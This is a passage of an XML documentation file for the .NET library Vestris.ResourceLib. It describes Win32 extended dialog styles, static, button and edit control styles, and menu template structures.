name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_ACCEPTFILES\">\n            <summary>\n            Specifies that a window created with this style accepts drag-drop files.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TRANSPARENT\">\n            <summary>\n            Specifies that a window created with this style should not be painted until siblings beneath\n            the window (that were created by the same thread) have been painted. The window appears \n            transparent because the bits of underlying sibling windows have already been painted.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_MDICHILD\">\n            <summary>\n            Creates a multiple-document interface (MDI) child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOOLWINDOW\">\n            <summary>\n            Creates a tool window; that is, a window intended to be used as a floating toolbar. \n            A tool window has a title bar that is shorter than a normal title bar, and the\n            window title is drawn using a smaller font. A tool window does not appear in \n            the taskbar or in the dialog that appears when the user presses ALT+TAB. If a \n            tool window has a system menu, its icon is not displayed on the title bar. However, \n            you can display the system menu by right-clicking or by typing ALT+SPACE. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_WINDOWEDGE\">\n            <summary>\n            Specifies that a window has a border with a raised edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CLIENTEDGE\">\n            <summary>\n            Specifies that a window has a border with a sunken edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the window. When the user clicks the question mark,\n            the cursor changes to a question mark with a pointer. If the user then clicks a child window,\n            the child receives a WM_HELP message. The child window should pass the message to the parent\n            window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The \n            Help application displays a pop-up window that typically contains help for the child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHT\">\n            <summary>\n            The window has generic \"right-aligned\" properties. This depends on the window class. This style has \n            an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order\n            alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls \n            has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with \n            button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFT\">\n            <summary>\n            Creates a window that has generic left-aligned properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RTLREADING\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading-order \n            alignment, the window text is displayed using right-to-left reading-order properties. \n            For other languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LTRREADING\">\n            <summary>\n            The window text is displayed using left-to-right reading-order properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFTSCROLLBAR\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading order \n            alignment, the vertical scroll bar (if present) is to the left of the client area. For other\n            languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHTSCROLLBAR\">\n            <summary>\n            Vertical scroll bar (if present) is to the right of the client area. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTROLPARENT\">\n            <summary>\n            The window itself contains child windows that should take part in dialog box navigation. \n            If this style is specified, the dialog manager recurses into children of this window when\n            performing navigation operations such as handling the TAB key, an arrow key, or a \n            keyboard mnemonic.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_STATICEDGE\">\n            <summary>\n            Creates a window with a three-dimensional border style intended to be used for items that \n            do not accept user input.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_APPWINDOW\">\n            <summary>\n            Forces a top-level window onto the taskbar when the window is visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_OVERLAPPEDWINDOW\">\n            <summary>\n            Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_PALETTEWINDOW\">\n            <summary>\n            Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYERED\">\n            <summary>\n            Windows 2000/XP: Creates a layered window. Note that this cannot be used for child \n            windows. Also, this cannot be used if the window has a class style of either CS_OWNDC\n            or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOINHERITLAYOUT\">\n            <summary>\n            Windows 2000/XP: A window created with this style does not pass its window layout to its child windows.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYOUTRTL\">\n            <summary>\n            Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose\n            horizontal origin is on the right edge. Increasing horizontal values advance to the left. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_COMPOSITED\">\n            <summary>\n            Windows XP: Paints all descendants of a window in bottom-to-top painting order \n            using double-buffering. For more information, see Remarks. This cannot be used\n            if the window has a class style of either CS_OWNDC or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOACTIVATE\">\n            <summary>\n            Windows 2000/XP: A top-level window created with this style does not become the foreground\n            window when the user clicks it. The system does not bring this window to the foreground \n            when the user minimizes or closes the foreground window.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogItemClass\">\n            <summary>\n            Possible DIALOGEXITEMTEMPLATE WindowClass ordinals.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Button\">\n            <summary>\n            A button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Edit\">\n            <summary>\n            An edit box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Static\">\n            <summary>\n            A static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ListBox\">\n            <summary>\n            A list box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ScrollBar\">\n            <summary>\n            A scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ComboBox\">\n            <summary>\n            A combo box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.StaticControlStyles\">\n            <summary>\n            Static control styles.\n            A static control specifies the STATIC class, appropriate window style constants, \n            and a combination of the following static control styles.\n            http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFT\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next left-aligned\n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTER\">\n            <summary>\n            Specifies a simple rectangle and centers the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next centered \n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHT\">\n            <summary>\n            Specifies a simple rectangle and right-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next \n            right-aligned line. Words that are longer than the width of the control \n            are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ICON\">\n            <summary>\n            Specifies an icon to be displayed in the dialog box. If the control is created \n            as part of a dialog box, the text is the name of an icon (not a filename) defined \n            elsewhere in the resource file. If the control is created via CreateWindow or a \n            related function, the text is the name of an icon (not a filename) defined in the\n            resource file associated with the module specified by the hInstance parameter to \n            CreateWindow. The icon can be an animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKRECT\">\n            <summary>\n            Specifies a rectangle filled with the current window frame color.\n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYRECT\">\n            <summary>\n            Specifies a rectangle filled with the current screen background color. \n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITERECT\">\n            <summary>\n            Specifies a rectangle filled with the current window background color. This color is white \n            in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKFRAME\">\n            <summary>\n            Specifies a box with a frame drawn in the same color as the window frames. \n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the screen background (desktop).\n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITEFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the window background. This color is \n            white in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_USERITEM\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SIMPLE\">\n            <summary>\n            Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle.\n            The text line cannot be shortened or altered in any way. Also, if the control is disabled,\n            the control does not gray its text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFTNOWORDWRAP\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            Tabs are expanded, but words are not wrapped. Text that extends past the \n            end of a line is clipped.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_OWNERDRAW\">\n            <summary>\n            Specifies that the owner of the static control is responsible for drawing \n            the control. The owner window receives a WM_DRAWITEM message whenever the\n            control needs to be drawn.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BITMAP\">\n            <summary>\n            Specifies that a bitmap is to be displayed in the static control. \n            The text is the name of a bitmap (not a filename) defined elsewhere in the \n            resource file. The style ignores the nWidth and nHeight parameters; the control \n            automatically sizes itself to accommodate the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENHMETAFILE\">\n            <summary>\n            Specifies that an enhanced metafile is to be displayed in the static control.\n            The text is the name of a metafile. An enhanced metafile static control has a \n            fixed size; the metafile is scaled to fit the static control's client area.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDHORZ\">\n            <summary>\n            Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDVERT\">\n            <summary>\n            Draws the left and right edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDFRAME\">\n            <summary>\n            Draws the frame of the static control using the EDGE_ETCHED edge style. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_TYPEMASK\">\n            <summary>\n            Windows 2000: A composite style bit that results from using the OR operator on \n            SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask.\n            Note that this is out of date and does not correctly include all valid styles.\n            Thus, you should not use this style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZECONTROL\">\n            <summary>\n            Windows XP or later: Adjusts the bitmap to fit the size of the static control.\n            For example, changing the locale can change the system font, and thus controls\n            might be resized. If a static control had a bitmap, the bitmap would no longer\n            fit the control. This style bit dictates automatic redimensioning of bitmaps \n            to fit their controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOPREFIX\">\n            <summary>\n            Prevents interpretation of any ampersand characters in the control's text as\n            accelerator prefix characters. These are displayed with the ampersand removed and \n            the next character in the string underlined. This static control style may be \n            included with any of the defined static controls. You can combine SS_NOPREFIX \n            with other styles. This can be useful when filenames or other strings that may \n            contain an ampersand must be displayed in a static control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOTIFY\">\n            <summary>\n            Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE \n            notification messages when the user clicks or double-clicks the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTERIMAGE\">\n            <summary>\n            Specifies that a bitmap is centered in the static control that contains it. \n            The control is not resized, so that a bitmap too large for the control will \n            be clipped. If the static control contains a single line of text, the text \n            is centered vertically in the client area of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHTJUST\">\n            <summary>\n            Specifies that the lower right corner of a static control with the SS_BITMAP\n            or SS_ICON style is to remain fixed when the control is resized. Only the top\n            and left sides are adjusted to accommodate a new bitmap or icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZEIMAGE\">\n            <summary>\n            Specifies that the actual resource width is used and the icon is loaded using\n            LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SUNKEN\">\n            <summary>\n            Draws a half-sunken border around a static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_EDITCONTROL\">\n            <summary>\n            Microsoft Windows 2000: Specifies that the static control duplicates the \n            text-displaying characteristics of a multiline edit control. Specifically, the \n            average character width is calculated in the same manner as with an edit control, \n            and the function does not display a partially visible last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENDELLIPSIS\">\n            <summary>\n            Microsoft Windows NT or later: If the end of a string does not fit in the rectangle,\n            it is truncated and ellipses are added. If a word that is not at the end of the string \n            goes beyond the limits of the rectangle, it is truncated without ellipses. Using this \n            style will force the controls text to be on one line with no word wrap. Compare with \n            SS_PATHELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_PATHELLIPSIS\">\n            <summary>\n            Windows NT or later: Replaces characters in the middle of the string with ellipses so \n            that the result fits in the specified rectangle. If the string contains backslash (\\) \n            characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last \n            backslash. Using this style will force the controls text to be on one line with no \n            word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WORDELLIPSIS\">\n            <summary>\n            Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. \n            Using this style will force the controls text to be on one line with no word wrap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ELLIPSISMASK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ButtonControlStyles\">\n            <summary>\n            Push button styles.\n            http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBUTTON\">\n            <summary>\n            Creates a push button that posts a WM_COMMAND message to the owner window when the\n            user selects the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFPUSHBUTTON\">\n            <summary>\n            Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct\n            appearance. If the button is in a dialog box, the user can select the button by pressing\n            the ENTER key, even when the button does not have the input focus. This style is useful \n            for enabling the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CHECKBOX\">\n            <summary>\n            Creates a small, empty check box with text. By default, the text is displayed to\n            the right of the check box. To display the text to the left of the check box, \n            combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTOCHECKBOX\">\n            <summary>\n            Creates a button that is the same as a check box, except that the check state \n            automatically toggles between checked and cleared each time the user selects the\n            check box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RADIOBUTTON\">\n            <summary>\n            Creates a small circle with text. By default, the text is displayed to the right of the\n            circle. To display the text to the left of the circle, combine this flag with the \n            BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for \n            groups of related, but mutually exclusive choices.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_3STATE\">\n            <summary>\n            Creates a button that is the same as a check box, except that the box can be grayed\n            as well as checked or cleared. Use the grayed state to show that the state of the \n            check box is not determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTO3STATE\">\n            <summary>\n            Creates a button that is the same as a three-state check box, except that the box \n            changes its state when the user selects it. The state cycles through checked, \n            indeterminate, and cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_GROUPBOX\">\n            <summary>\n            Creates a rectangle in which other controls can be grouped. Any text associated with\n            this style is displayed in the rectangle's upper left corner.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_USERBUTTON\">\n            <summary>\n            Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications \n            should use BS_OWNERDRAW instead.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTORADIOBUTTON\">\n            <summary>\n            Creates a button that is the same as a radio button, except that when the user selects it,\n            the system automatically sets the button's check state to checked and automatically sets \n            the check state for all other buttons in the same group to cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBOX\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_OWNERDRAW\">\n            <summary>\n            Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual \n            aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other\n            button styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TYPEMASK\">\n            <summary>\n            Microsoft Windows 2000: A composite style bit that results from using the OR operator on\n            BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFTTEXT\">\n            <summary>\n            Places text on the left side of the radio button or check box when combined with a radio button\n            or check box style. Same as the BS_RIGHTBUTTON style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TEXT\">\n            <summary>\n            Specifies that the button displays text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_ICON\">\n            <summary>\n            Specifies that the button displays an icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BITMAP\">\n            <summary>\n            Specifies that the button displays a bitmap. See the Remarks section for its interaction\n            with BS_ICON.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFT\">\n            <summary>\n            Left-justifies the text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side\n            of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RIGHT\">\n            <summary>\n            Right-justifies text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right\n            side of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CENTER\">\n            <summary>\n            Centers text horizontally in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TOP\">\n            <summary>\n            Places text at the top of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BOTTOM\">\n            <summary>\n            Places text at the bottom of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_VCENTER\">\n            <summary>\n            Places text in the middle (vertically) of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHLIKE\">\n            <summary>\n            Makes a button (such as a check box, three-state check box, or radio button) look and \n            act like a push button. The button looks raised when it isn't pushed or checked, and \n            sunken when it is pushed or checked.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_MULTILINE\">\n            <summary>\n            Wraps the button text to multiple lines if the text string is too long to fit on a \n            single line in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_NOTIFY\">\n            <summary>\n            Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its \n            parent window. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_FLAT\">\n            <summary>\n            Specifies that the button is two-dimensional; it does not use the default \n            shading to create a 3-D image. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFSPLITBUTTON\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a \n            BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button \n            is in a dialog box, the user can select the split button by pressing the ENTER key, even \n            when the split button does not have the input focus. This style is useful for enabling\n            the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_COMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a\n            BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing\n            to the button text. A caption for the button text can be set by sending the BCM_SETNOTE\n            message to the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFCOMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like\n            a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the \n            command link button by pressing the ENTER key, even when the command link button does\n            not have the input focus. This style is useful for enabling the user to quickly select\n            the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.EditControlStyles\">\n            <summary>\n            Edit control styles.\n            http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LEFT\">\n            <summary>\n            Aligns text with the left margin.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_CENTER\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_RIGHT\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_MULTILINE\">\n            <summary>\n            Designates a multiline edit control. The default is single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_UPPERCASE\">\n            <summary>\n            Converts all characters to uppercase as they are typed into the edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LOWERCASE\">\n            <summary>\n            Converts all characters to lowercase as they are typed into the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_PASSWORD\">\n            <summary>\n            Displays an asterisk (*) for each character typed into the edit control. \n            This style is valid only for single-line edit controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOVSCROLL\">\n            <summary>\n            Automatically scrolls text up one page when the user presses the ENTER key on \n            the last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOHSCROLL\">\n            <summary>\n            Automatically scrolls text to the right by 10 characters when the user types\n            a character at the end of the line. When the user presses the ENTER key, \n            the control scrolls all text back to position zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NOHIDESEL\">\n            <summary>\n            Negates the default behavior for an edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_OEMCONVERT\">\n            <summary>\n            Converts text entered in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_READONLY\">\n            <summary>\n            Prevents the user from typing or editing text in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_WANTRETURN\">\n            <summary>\n            Specifies that a carriage return be inserted when the user presses the \n            ENTER key while entering text into a multiline edit control in a dialog box. \n            If you do not specify this style, pressing the ENTER key has the same effect\n            as pressing the dialog box's default push button. This style has no effect \n            on a single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NUMBER\">\n            <summary>\n            Allows only digits to be entered into the edit control. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUTEMPLATE\">\n            <summary>\n            Defines the header for a menu template. \n            A complete menu template consists of a header and one or more menu item lists. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wVersion\">\n            <summary>\n            Specifies the version number. This member must be zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wOffset\">\n            <summary>\n            Specifies the offset, in bytes, from the end of the header. \n            The menu item list begins at this offset. Usually, this member is zero, and the menu \n            item list follows immediately after the header. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUITEMTEMPLATE\">\n            <summary>\n            Defines a menu item in a menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUITEMTEMPLATE.mtOption\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the appearance of the menu item.\n             TODO\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXTEMPLATE\">\n            <summary>\n            Defines the header for an extended menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wVersion\">\n            <summary>\n            Template version number. This member must be 1 for extended menu templates.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wOffset\">\n            <summary>\n            Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of \n            this structure member. If the first item definition immediately follows the \n            dwHelpId member, this member should be 4. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE\">\n            <summary>\n            Drop-down menu or submenu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwType\">\n            <summary>\n            Menu item type. This member can be a combination of the type (beginning with MFT) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwState\">\n            <summary>\n            Menu item state. This member can be a combination of the state (beginning with MFS) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwMenuId\">\n            